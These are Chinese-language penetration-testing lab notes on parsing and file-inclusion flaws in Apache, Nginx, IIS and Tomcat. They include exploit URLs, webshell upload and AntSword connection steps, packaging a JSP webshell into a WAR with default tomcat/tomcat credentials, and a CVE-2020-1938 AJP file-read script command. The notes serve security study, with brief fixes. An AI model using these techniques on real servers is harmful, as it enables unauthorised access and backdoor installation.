常⻅组件安全
常⻅组件
操作系统
windows、linuxWeb 容器 Apache、Tomcat、Nginx、IIS中间件 php、JAVA、Python、perl数据库 MySQL、Oracle、SQL Server、Access、redis其他组件 phpStudy、Weblogic、JBoss开发框架 s2、thinkphp、vue
关注的问题
1. 组件与漏洞名称
2. 影响版本3. 漏洞的检测4. 漏洞的复现5. 漏洞的利⽤(漏洞场景、⼯具)6. 修复⽅案
Apache
Apache 解析漏洞
在1.x 和2.x 的版本中。
上传png图片:
上传一句话木马:
yjh.php
上传失败!
修改文件名:
上传成功!
蚁剑连接:
http://192.168.10.128/upload/yjh.php.wenxin
getShell成功!
问题原因:
yjh.php.wenxin Apache 会当做PHP ⽂件来解析。
Apache 从右侧向左解析后缀名。
Apache/2.2.25 (Win32) mod_ssl/2.2.25 OpenSSL/0.9.8y PHP/5.2.17
Nginx
Nginx - 空字节漏洞
影响版本:
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37
环境:
运行nginx:
漏洞触发:
nginx version: nginx/0.7.65
http://192.168.10.128/info.png
http://http://192.168.10.128/info.png%00.php
Nginx - 解析漏洞
解析图⽚⽊⻢
与PHP-CGI 有关 cgi.fix_pathinfo
启动漏洞环境
Docker-compose up -d
192.168.10.130
制作图片木马:
上传:
漏洞触发:
http://192.168.10.130/uploadfiles/6996efdd38b0767328bdfc1bbe7b932f.png/.php
nginx 版本
nginx/1.17.4
Nginx - ⽂件路径解析漏洞 - CVE-2013-4547
影响版本
Nginx 0.8.41 ~ 1.4.3
Nginx 1.5.0 ~ 1.5.7
漏洞环境
登陆docker 环境
漏洞触发
# 上传图⽚⽊⻢
[1_yjh.jpg ] // .jpg后面有一个空格
http://192.168.16.100:8080/uploadfiles/1_yjh.png
http://192.168.16.100:8080/uploadfiles/1_yjh.png[0x20][0x00].php
其他:
IIS
IIS 6.0 解析漏洞
漏洞环境
Windows 2003
// time.asp
<%=time()%>
分号⽂件名截断
time.asp
time.asp;.jpghttp://10.10.10.233:8000/time.asp;.jpg
*.asp ⽬录解析错误
time.jpg
/1.asp/time.jpg //time.asp--->time.jpg
http://10.10.10.233:8000/1.asp/time.jpg
time.jpg放在1.asp下被当做.asp来解析!
IIS 7.0/7.5 解析漏洞
漏洞环境
Windows 2008
IIS+PHP
漏洞的触发
http://192.168.16.193:8000/index.png
http://192.168.16.193:8000/index.png/.php
漏洞防护
PHP-CGI
1. cgi.fix_pathinfo = 0
2. 处理映射程序|编辑模块映射|请求限制|映射|对勾
Tomcat
Tomcat 的安装与配置
直接解压
配置环境变量
C:Program FilesJavajdk1.8.0_131
JAVA_HOME:C:Program FilesJavajdk1.8.0_131
Path:%JAVA_HOME%bin;%JAVA_HOME%jrebin;
启动Tomcat:
C:apache-tomcat-8.5.32bin>startup.bat
nmap 扫描端⼝
sudo nmap -A -p- 192.168.10.130
开启Tomcat 管理控制台manager 远程访问
/webApps/manager/META-INF/context.xml
配置管理控制台账密
/conf/tomcat-users.xml
弱⼝令到GetShell
使⽤ tomcat/tomcat ,登录 Manager App 。
核⼼思路:通过管理控制台部署Web 应⽤,Web 应⽤就是后⻔!
将jsp ⽂件打包
jar cvf jshell.war jshell.jsp
http://192.168.16.193:8080/jshell/jshell.jsp
大马:jshell.jsp
部署:
大马密码:
AJP LFI - CVE-2020-1938
2020年1⽉6⽇,国家信息安全漏洞共享平台(CNVD)收录了Apache Tomcat⽂件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。攻击者利⽤该漏洞,可在未授权的情况下远程读取特定⽬录下的任意⽂件。
由于Tomcat 默认开启的AJP 服务(8009 端⼝)存在⼀处⽂件包含缺陷,攻击者可构造恶意的请求包进⾏⽂件包含操作,进⽽读取受影响Tomcat 服务器上的Web⽬录⽂件。
影响版本
tomcat 6
tomcat 7 < 7.0.100
tomcat 8 < 8.5.51
tomcat 9 < 9.0.31
漏洞利⽤
./CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.16.193 -p 8009 -f WEBINF/web.xml
脚本下载地址:
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
创建hello.txt,并读取:
=== Well Done ===